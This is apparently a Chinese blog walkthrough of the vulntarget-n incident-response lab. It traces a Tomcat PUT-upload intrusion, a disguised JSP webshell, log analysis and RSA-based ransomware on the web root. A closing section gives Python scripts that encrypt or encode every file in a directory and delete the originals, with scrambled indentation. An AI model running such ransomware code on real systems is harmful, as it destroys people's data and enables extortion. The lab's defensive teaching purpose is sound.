vulntarget-n

用户名密码:root/Vulntarget@123

一.分析history命令

1.先将历史命令导出

history > 1.txt

2.分析history

1)篡改网页

2)将木马文件进行伪装

3)创建公钥私钥,加密方式为rsa

4)拷贝公钥到指定目录,将该目录下文件进行勒索加密

二.找到加密私钥进行解密

find . -name *key*.pem     #在根目录下全局搜索公钥

将公钥私钥以及加密文件内容放到rsa解密

注,将404.jsp文件进行解密后发现文件为jsp马。

三.检查日志

1.tomcat日志文件路径存放于 /opt/tomcat/logs

由于攻击行为可能存在上传木马行为,重点查看post、put请求下,状态码为200的请求内容。

tail -n 5000 localhost_access_log.2024-06-04.txt | grep "2*" | grep "PUT"

上传jsp马后,执行了whoami

4.漏洞复现

复习一下tomcat文件上传漏洞

put请求下上传一个jsp小马,使用蚁剑连接。

5.攻击过程

1.利用tomcat历史漏洞(文件上传漏洞)上传vulntarget.jsp马。

2.反弹shell拿到root权限。

3.将jsp马伪装成404.jsp文件。

4.创建勒索文件,使用rsa加密,生成公钥私钥。

5.使用python,对ROOT路径下的文件进行rsa加密。

6.删除加密脚本,做痕迹清除。

其他

1.了解重要配置文件

/opt/tomcat/conf/server.xml #该文件为tomcat配置文件,可以实现更改端口,设置虚拟主机,配置SSL等

2.勒索文件制作

1.制作公钥私钥

mkdir keys #创建一个文件夹,用于存放公钥私钥。

vim get_pem.py #编写公钥私钥生成脚本

python3 get_pem.py #运行脚本,生成公私钥

常见生成公私钥脚本如下:

import rsa
import os # 确保 keys 文件夹存在
os.makedirs("./keys", exist_ok=True) # 生成 RSA 密钥对
pub, priv = rsa.newkeys(2048) # 建议使用 2048 位密钥 # 保存公钥
try:
pub = pub.save_pkcs1()
with open("./keys/pubkey.pem", mode="wb") as file:
file.write(pub)
print("公钥保存成功:./keys/pubkey.pem")
except Exception as e:
print(f"保存公钥时出错:{e}") # 保存私钥
try:
priv = priv.save_pkcs1()
with open("./keys/privkey.pem", mode="wb") as file:
file.write(priv)
print("私钥保存成功:./keys/privkey.pem")
except Exception as e:
print(f"保存私钥时出错:{e}")

2.准备加密工作

cp keys/pubkey.pem /opt/tomcat/webapps/ROOT #将公钥放到网页webapps目录下

vim flag.jsp #创建flag.jsp文件

vim encrypt_vulntarget.py #创建加密脚本,对当前目录下的jsp文件都进行加密

常见加密脚本如下:

##获取文件路径
def list(src):
res = []
for root, dirs, files in os.walk(src): #获取父目录,子目录,文件
for file in files:
# 获取文件所属目录
# print(root)
# 获取文件路径
res.append(os.path.join(root, file)) #把父目录和文件合成一个路径
return res ## 加密
def ran_encode(res):
for r in res:
# print(re)
with open(r, 'rb') as fp:
src = fp.read()
bs = base64.b64encode(src).decode() #读取并用base64加密
se = ''
for b in bs:
new = chr(ord(b) + 5) #转换成acsii码进行位移
se += new
# print(type(re))
os.remove(r)
name = '123'
with open(r+name, 'wb') as fp: #覆写
fp.write(se.encode()) ## 解密
def ran_decode(res):
for r in res:
with open(r, 'r') as fp:
src = fp.read()
se = ''
for b in src:
new = chr(ord(b) - 5)
se += new
resp = base64.b64decode(se)
s=r[0:-3]
os.remove(r)
with open(s,'wb') as fp:
fp.write(resp)
path=r"需要勒索的目录,绝对路径"
def intes():
res=list(path)
ran_encode(res)
def outs():
src1 = list(path)
ran_decode(src1)

加解密常见脚本

##加密
def encrypt_file(file_path, public_key_path):
# 加载公钥
with open(public_key_path, "rb") as f:
public_key = rsa.PublicKey.load_pkcs1(f.read()) # 读取文件内容
with open(file_path, "rb") as f:
file_content = f.read() # 加密文件内容
encrypted_content = rsa.encrypt(file_content, public_key) # 保存加密后的文件
encrypted_file_path = file_path + ".enc"
with open(encrypted_file_path, "wb") as f:
f.write(encrypted_content) print(f"文件已加密并保存到 {encrypted_file_path}")
return encrypted_file_path # 示例:加密文件
encrypt_file("example.txt", "public_key.pem") ##解密
def decrypt_file(encrypted_file_path, private_key_path):
# 加载私钥
with open(private_key_path, "rb") as f:
private_key = rsa.PrivateKey.load_pkcs1(f.read()) # 读取加密后的文件内容
with open(encrypted_file_path, "rb") as f:
encrypted_content = f.read() # 解密文件内容
decrypted_content = rsa.decrypt(encrypted_content, private_key) # 保存解密后的文件
decrypted_file_path = encrypted_file_path.replace(".enc", "_decrypted")
with open(decrypted_file_path, "wb") as f:
f.write(decrypted_content) print(f"文件已解密并保存到 {decrypted_file_path}") # 示例:解密文件
decrypt_file("example.txt.enc", "private_key.pem")

应急响应靶场之vulntarget-n的更多相关文章

  1. 一些关于Linux入侵应急响应的碎碎念

    近半年做了很多应急响应项目,针对黑客入侵.但疲于没有时间来总结一些常用的东西,寄希望用这篇博文分享一些安全工程师在处理应急响应时常见的套路,因为方面众多可能有些杂碎. 个人认为入侵响应的核心无外乎四个 ...

  2. Linux安全事件应急响应排查方法总结

    Linux安全事件应急响应排查方法总结 Linux是服务器操作系统中最常用的操作系统,因为其拥有高性能.高扩展性.高安全性,受到了越来越多的运维人员追捧.但是针对Linux服务器操作系统的安全事件也非 ...

  3. Windows应急响应常识

    Windows 应急响应 常见事件ID 1102 清理审计日志 4624 账号登陆成功 4625 账号登陆失败 4672 授予特殊权限 4720 创建用户 4726 删除用户 4728 将成员添加到启 ...

  4. Window应急响应(五):ARP病毒

    0x00 前言 ARP病毒并不是某一种病毒的名称,而是对利用arp协议的漏洞进行传播的一类病毒的总称,目前在局域网中较为常见.发作的时候会向全网发送伪造的ARP数据包,严重干扰全网的正常运行,其危害甚 ...

  5. Window应急响应(一):FTP暴力破解

    0x00 前言 ​ FTP是一个文件传输协议,用户通过FTP可从客户机程序向远程主机上传或下载文件,常用于网站代码维护.日常源码备份等.如果攻击者通过FTP匿名访问或者弱口令获取FTP权限,可直接上传 ...

  6. Window应急响应(二):蠕虫病毒

    0x00 前言 ​ 蠕虫病毒是一种十分古老的计算机病毒,它是一种自包含的程序(或是一套程序),通常通过网络途径传播,每入侵到一台新的计算机,它就在这台计算机上复制自己,并自动执行它自身的程序. 常见的 ...

  7. Window应急响应(三):勒索病毒

    0x00 前言 ​ 勒索病毒,是一种新型电脑病毒,主要以邮件.程序木马.网页挂马的形式进行传播.该病毒性质恶劣.危害极大,一旦感染将给用户带来无法估量的损失.这种病毒利用各种加密算法对文件进行加密,被 ...

  8. Window应急响应(四):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升 ...

  9. windows应急响应入侵排查思路

    0x00 前言 ​ 当企业发生黑客入侵.系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解 ...

  10. Linux应急响应入侵排查思路

    0x00 前言 ​ 当企业发生黑客入侵.系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解 ...

随机推荐

  1. 【转载】 Locust 官方文档

    链接:https://www.jianshu.com/p/40102e9a24cb 安装 一般直接通过 pip 就可以安装: $ pip install locust 注意: Locust 1.x 版 ...

  2. Qt/C++音视频开发76-获取本地有哪些摄像头名称/ffmpeg内置函数方式

    一.前言 上一篇文章是写的用Qt的内置函数方式获取本地摄像头名称集合,但是有几个缺点,比如要求Qt5,或者至少要求安装了多媒体组件multimedia,如果没有安装呢,或者安装的是个空的呢,比如很多嵌 ...

  3. Qt/C++编写全能播放组件(支持ffmpeg2/3/4/5/6/Qt4/5/6)

    一.前言 从代码层面以及自由度来说,用ffmpeg来写全能播放组件是最佳方案(跨平台最好最多.编解码能力最强),尽管已经有优秀的vlc/mpv等方案可以直接用,但是vlc/mpv对标主要是播放器应用层 ...

  4. Qt编写地图综合应用10-点聚合

    一.前言 点聚合在地图相关应用中比较常用,比如在地图上查询结果通常以标记点的形式展现,但是如果标记点较多,不仅会大大增加客户端的渲染时间,让客户端变得很卡,而且会让人产生密集恐惧症,密密麻麻的一大堆点 ...

  5. Qt编写地图综合应用26-覆盖物交互

    一.前言 百度地图本身提供了非常友好完善的JS函数接口用于添加各种覆盖物,比如标注点.矩形区域.圆形区域.不规则线段.弧形等,基本上涵盖了各种应用场景,官方的文档和示例也是比较完善的,虽然示例用的都是 ...

  6. Qt开源作品17-IP地址输入控件

    一.前言 这个IP地址输入框控件,估计写烂了,网上随便一搜索,保证一大堆,估计也是因为这个控件太容易了,非常适合新手练手,一般的思路都是用4个qlineedit控件拼起来,然后每个输入框设置正则表达式 ...

  7. Qt音视频开发33-ffmpeg安卓版

    一.前言 一直都想搞个安卓版本的视频监控程序,很早以前弄过一个,采用的是早期的ffmpeg2的lib文件,对于现在众多的网络流媒体格式,支持有限,而且新的Qt编写安卓程序,结构上也变动了,新的安卓系统 ...

  8. C#使用Tesseract C++ API过程记录

    Tesseract Tesseract 是一个开源的光学字符识别(OCR)引擎,最初由 Hewlett-Packard(惠普)实验室开发,后来由 Google 收购并继续维护和开源贡献.Tessera ...

  9. 11.15javaweb学习

  10. Anaconda下载以前的旧版本

    由于Anaconda新的版本,可能不太适合我们当前开发,我们需要下载历史版本. 可以尝试从两个地方下载:1.推荐从 "清华大学开源软件镜像站" 下载:https://mirrors ...